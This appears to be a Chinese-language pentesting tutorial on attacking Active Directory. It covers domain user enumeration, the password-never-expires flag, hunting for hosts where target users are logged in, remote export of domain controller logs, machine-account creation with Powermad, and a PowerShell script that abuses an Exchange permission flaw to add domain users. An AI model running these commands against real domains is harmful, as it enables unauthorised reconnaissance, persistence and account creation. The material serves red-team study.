域用户与域成员机器关系及利用

域用户

基础信息

  • 枚举域内用户

    1. 通过SAMR协议查询
      samr也不算是一种专门的协议,就是一个RPC接口。常用的net user /domain就是使用samr进行查询的。impacket也有一个脚本samrdump.py专门调用samr去查询域用户。

    2. 通过LDAP查询
      域用户存储于活动目录数据库里面,对其他用户可见。所以可以通过LDAP查询。
      查询域内所有用户
      adfind -s subtree -b dc=rootkit,dc=org -f "(&(objectCategory=person)(objectClass=user))" -dn

  • 登录格式

    1. 第一种是UserPrincipalName(简称UPN),一般的格式是用户名@域名这样的格式。如[email protected]
    2. 第二种是域名\SAMAccountName这种格式。这里的域名可以是netbios名或dns名。如test.local\lisi

域用户密码永不过期属性

为了增强安全性,域组策略会设置所有域用户口令的最长有效时间,到达过期时间后强制用户更改口令。
域用户的密码永不过期属性保存在域用户的userAccountControl属性中。将该属性值514再加上65536,即设置为66048代表密码不过期。

  1. 查询域内密码不过期用户

    ActiveDirectory

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    #Powershell ActiveDirectory模块
    Import-Module ActiveDirectory
    Search-ADAccount -PasswordNeverExpires | FT UserPrincipalName

    #PowerView
    #筛选出符合条件的所有用户
    import-module .\PowerView.ps1
    ForEach($User in (Get-NetUser))
    {
    if(($User.useraccountcontrol -band 65536) -eq 65536)
    {
    Write-Output $User.samaccountname
    }
    }
    #查询指定用户属性
    import-module .\PowerView.ps1
    Get-NetUser test1| select useraccountcontrol | ConvertFrom-UACValue

    #ldapsearch
    #获取userAccountControl属性值后再同65536做按位与运算,如果结果为65536,那么代表具有密码永不过期的属性。
    ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainPassword123! -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" grep userAccountControl

    #CSharp实现 https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/List_passwordneverexpires_user_byLDAP.cs
    #如果使用当前用户的凭据,需要将代码:
    DirectoryEntry de = new DirectoryEntry("LDAP://" + args[0],args[1],args[2]);替换为
    DirectoryEntry de = new DirectoryEntry("LDAP://" + args[0]);
  2. 从域外进行枚举的方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    #Powershell ActiveDirectory模块
    import-module .\Microsoft.ActiveDirectory.Management.dll
    $uname="test1"
    $pwd=ConvertTo-SecureString "DomainPassword123!" -AsPlainText –Force
    $cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
    Search-ADAccount -Server 192.168.1.1 -Credential $cred -Verbose -PasswordNeverExpires | FT Name

    #PowerView
    import-module .\PowerView.ps1
    $uname="test1"
    $pwd=ConvertTo-SecureString "DomainPassword123!" -AsPlainText –Force
    $cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
    $Users=Get-NetUser -Domain "test.com" -DomainController 192.168.1.1 -Credential $cred
    ForEach($User in $Users)
    {
    if(($User.useraccountcontrol -band 65536) -eq 65536)
    {
    Write-Output $User.samaccountname
    }
    }
  3. 向指定用户添加密码永不过期属性

    1
    2
    3
    4
    5
    6
    7
    8
    #使用dsmod命令
    dsmod user "CN=testc,CN=Users,DC=test,DC=com" -pwdneverexpires yes
    #Powershell ActiveDirectory模块
    Set-ADUser -Identity testc -PasswordNeverExpires $true
    #PowerView
    Set-ADObject -SamAccountName testc -PropertyName useraccountcontrol -PropertyXorValue 65536
    #CSharp实现
    #https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/Add_passwordneverexpires_user_byLDAP.cs
  4. userAccountControl属性值同65536作按位异或运算(运算符^) 或者属性值直接减去65536。

查询域用户能登陆的机器

默认情况下,域用户能够登录任何一台域成员机器。因为在域成员机器的本地安全策略中默认允许Users组本地登录。Users组包括Domain Users。而域内用户默认都在Domain Users组里面。所以域内成员默认都能登录域内任何一台机器。

如果要对用户登录机器做限制,一般会有两种修改方案:

  1. 在域用户这边做限制,设置域用户只允许登录到某台机器。
  2. 下发组策略,在域内机器这边做限制。把常登陆这台机器的域用户加入到本地的Administrators组里。并把User组从本地登录里面删除。这样因为在Administrators组里面的用户可以登录,其他域用户就不能登录。

根据以上两种方案,给出查询域成员和域成员机器对应关系的方法:

  1. 在限制了域用户只能登录到某台主机后,会设置对应域用户的userWorkstations属性。这个属性保存了该域用户能登录到哪台机器。且这个字段对于域内任何用户都是可读的。
    adfind -sc u:micle userWorkstations

  2. 如果通过组策略实现的,可以通过组策略查询域内所有机器的本地管理员组用户。
    可利用PowerView的Invoke-EnumerateLocalAdmin实现。
    或使用LG查询域内机器本地组用户。
    LG.exe \\192.168.1.75\administrators (枚举192.168.1.75机器本地administrators组内用户)

  3. 查询域内用户正在登陆的主机
    寻找一个域用户正在登陆的主机,主要有以下几种方式(原理解释)

    1. 查询远程机器注册表项里HKEY_USERS,来查看谁正在登陆该机器。
      远程登录SERVER12的注册表,看到HKEY_USERS底下的key有S-1-5-21-1909611416-240434215-3714836602-1113,将这个sid转化为用户名是TEST\maria,说明TEST\maria登录在SERVER12这台机器上。
      Tips:

      • PC机器默认是没有开启注册表远程连接的(RemoteRegistry服务)。Server机器默认开启远程连接。
      • 域内用户即使配置了不能本地登录域内机器A,但是只要机器A开启远程注册表连接,就可以连接上机器A的注册表,从而枚举正在登陆的用户。
    2. 利用NetSessionEnum(win32 API)来寻找登陆的网络会话,一般用来查域控

      • 可以查询那些用户访问机器A的网络资源(如文件共享)时所创建的网络会话。
      • 调用此函数的用户,并不需要在机器A上有管理员权限。域内任何用户都可以调用此函数。
    3. 利用NetWkstaUserEnum(win32 API)列出当前登录到该机器的所有用户
      这个API会去调用远程机器A的RPC。然后返回当前登录到机器A的所有用户的信息,但调用该函数的用户需要具备机器A的本地管理员权限。

    Tips:如果不开启Computer Browser服务,psloggedon查询域用户会报错,并且NetView -d不会有数据。(开启SMB 1.0才有这个服务,而Windows 10(1803)和2019默认禁用SMB1.0,开启SMB1.0后需要重启才能生效)

    启动Computer Browser服务命令: sc config Browser start= auto &&sc start Browser

    • Psloggedon

      Sysinternals Suite套件工具,缺点:无法批量查询。

      1
      2
      3
      4
      5
      #工作组环境也可以用,只是需要权限
      #查询远程机器注册表项和NetSessionEnum的方式查询目标机器上用户登陆情况。
      psloggedon.exe /accepteula \\ip
      #查询域内用户在哪些机器上登陆
      psloggedon.exe /accepteula administrator

    • NetView

      查询机器的共享文件,登陆的用户和网络Session。

      Tips:上面介绍的三种方式都会用。

      1. 只要有目标机器本地管理员权限,哪怕没开远程注册表也能查本地登陆的用户。建议用域管票据PTT后执行,这样全能查。
      2. 如果目标没有Computer Browser服务,那么可以指定-f去查,如果用PTT话,文件内容必须是主机名,不能是IP,这样才能查出目标本地登陆的用户。
      1
      2
      3
      4
      5
      6
      #只能通过文件指定IP或者机器名(普通域用户权限查不到其他机器正在登录的域用户)
      netview.exe -f target.txt
      #查询指定域名
      netview.exe -d rootkit.org
      #查询当前域
      netview.exe -d

    • PVEFindADUser

      域内用(依赖.Net Framework 2.0环境),不受Computer Browser服务影响

      1
      2
      3
      4
      5
      6
      #查询域内所有机器登陆的用户(用的是psloggedon一样的方式)
      PVEFindADUser.exe -current -noping
      #查询指定机器
      PVEFindADUser.exe -current -target 192.168.1.10
      #查询指定域用户登陆情况(需要指定域名)
      PVEFindADUser.exe -current 0day\administrator

    • 其他工具

      • Netsess只能查询指定机器的Session登录用户 (仅调用NetSessionEnum API)
      • nmap的smb-enum-sessions.nse,获取域内主机的用户登录会话,查看当前是否有用户登陆。
      • Invoke-UserHunter不好用。
  4. 导出域控日志进行分析

    Tips:在域内可能存在多台域控,日志并不同步,所以需要把每一台域控的日志都导出来。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #远程查询
    wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password
    #域内用户A在机器B正常登录,登录成功的话,在域控那边,会有个4624的日志,登录类型为3。
    wevtutil epl Security C:\Users\Administrator\Desktop\1.evtx /q:"*[System[(EventID=4624)] and EventData[Data[@Name=‘LogonType’]='3']]"
    #远程导出
    wevtutil epl Security C:\ProgramData\dc.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] and System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 2592000000]]]" /r:域控IP /u:域管 /p:域管密码
    #本地使用LogParser日志分析工具整理导出的日志,然后去除重复数据、无效数据(以$结束的用户名)
    LogParser.exe -i:EVT -o log.csv "SELECT TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM C:\ProgramData\log.evtx" > C:\ProgramData\log.log.csv
    #对结果筛选
    dclog cat log.csv|grep 用户名|sort|uniq
  5. 当用户在公司内部使用outlook给攻击者发邮件的时候,可以在该邮件的头部看到该用户的内网IP。

机器账户

机器用户跟system用户的关系

以WIN7这台机子为例,发现它是computer类的实例。而computer类的user类的子类。而域用户是user类的实例。而类是属性的集合,子类继承了父类的所有属性,因此域用户该有的属性,计算用户都有。甚至可以说,机器用户就是一种域用户。

本地用户SYSTEM就对应于域内的机器用户,在域内的用户名就是机器名+$

域用户添加机器用户

允许非特权用户通过ms-DS-MachineAccountQuota创建计算机帐户,默认为10个,但无法删除创建的计算机账户。创建者帐户的SID存储在计算机帐户的ms-DS-CreatorSID属性中。

添加计算机帐户将创建以下4个SPN

1
2
3
4
HOST/MachineAccountName
HOST/MachineAccountName.domain.name
RestrictedKrbHost/MachineAccountName
RestrictedKrbhost/MachineAccountName.domain.name

机器帐户没有本地登录权限,但可以通过runas /netonly执行命令。
Powermad利用ms-DS-MachineAccountQuota属性设置无需将实际系统附加到AD。

1
2
3
4
5
6
#创建机器账户
Import-module Powermad.ps1
New-MachineAccount -MachineAccount testAccount -Password $(ConvertTo-SecureString "123456789" -AsPlainText -Force) #或者不指定Password也可以
#枚举所有计算机帐户(MachineAccount)的创建者
Get-MachineAccountCreator
#[C#实现](<https://github.com/pkb1s/SharpAllowedToAct>)

这时候的账户还没有在DNS服务器里面注册

1
2
3
4
#添加DNS记录
Invoke-DNSUpdate -DNSType A -DNSName testNew -DNSData 192.168.1.111
#删除此记录 (非特权用户无法修改或删除已有的记录)
Invoke-DNSUpdate -DNSType A -DNSName testNew

机器用户添加域用户

1
2
3
4
5
6
7
8
9
10
#需要下载ActiveDirectory模块
import-module ActiveDirectory
$sd= [System.DirectoryServices.ActiveDirectorySecurity]::new()
$sd.SetSecurityDescriptorSddlForm("D:P(A;CI;GA;;;WD)","Access")
$ba = $sd.GetSecurityDescriptorBinaryForm()
$computer=Get-ADComputer -Identity $env:COMPUTERNAME
$ex= New-ADObject -Name "A" -Path $computer.DistinguishedName -Type "msExchStorageGroup" -OtherAttributes @{nTSecurityDescriptor=$ba} -PassThru
$pwd = ConvertTo-SecureString -String "qweasd.123" -AsPlainText -Force
$user = New-ADUser -Name "USERX" -Path $ex.DistinguishedName -Enabled $true -AccountPassword $pwd -ChangePasswordAtLogon $false -PassThru
Write-Host "Created $($user.DistinguishedName)"

参考

[^1]: Windows内网协议学习LDAP篇之域用户和计算机用户介绍
[^2]: exchagne默认配置缺陷,域内任意新增域用户
[^3]: 渗透基础–域用户的密码永不过期属性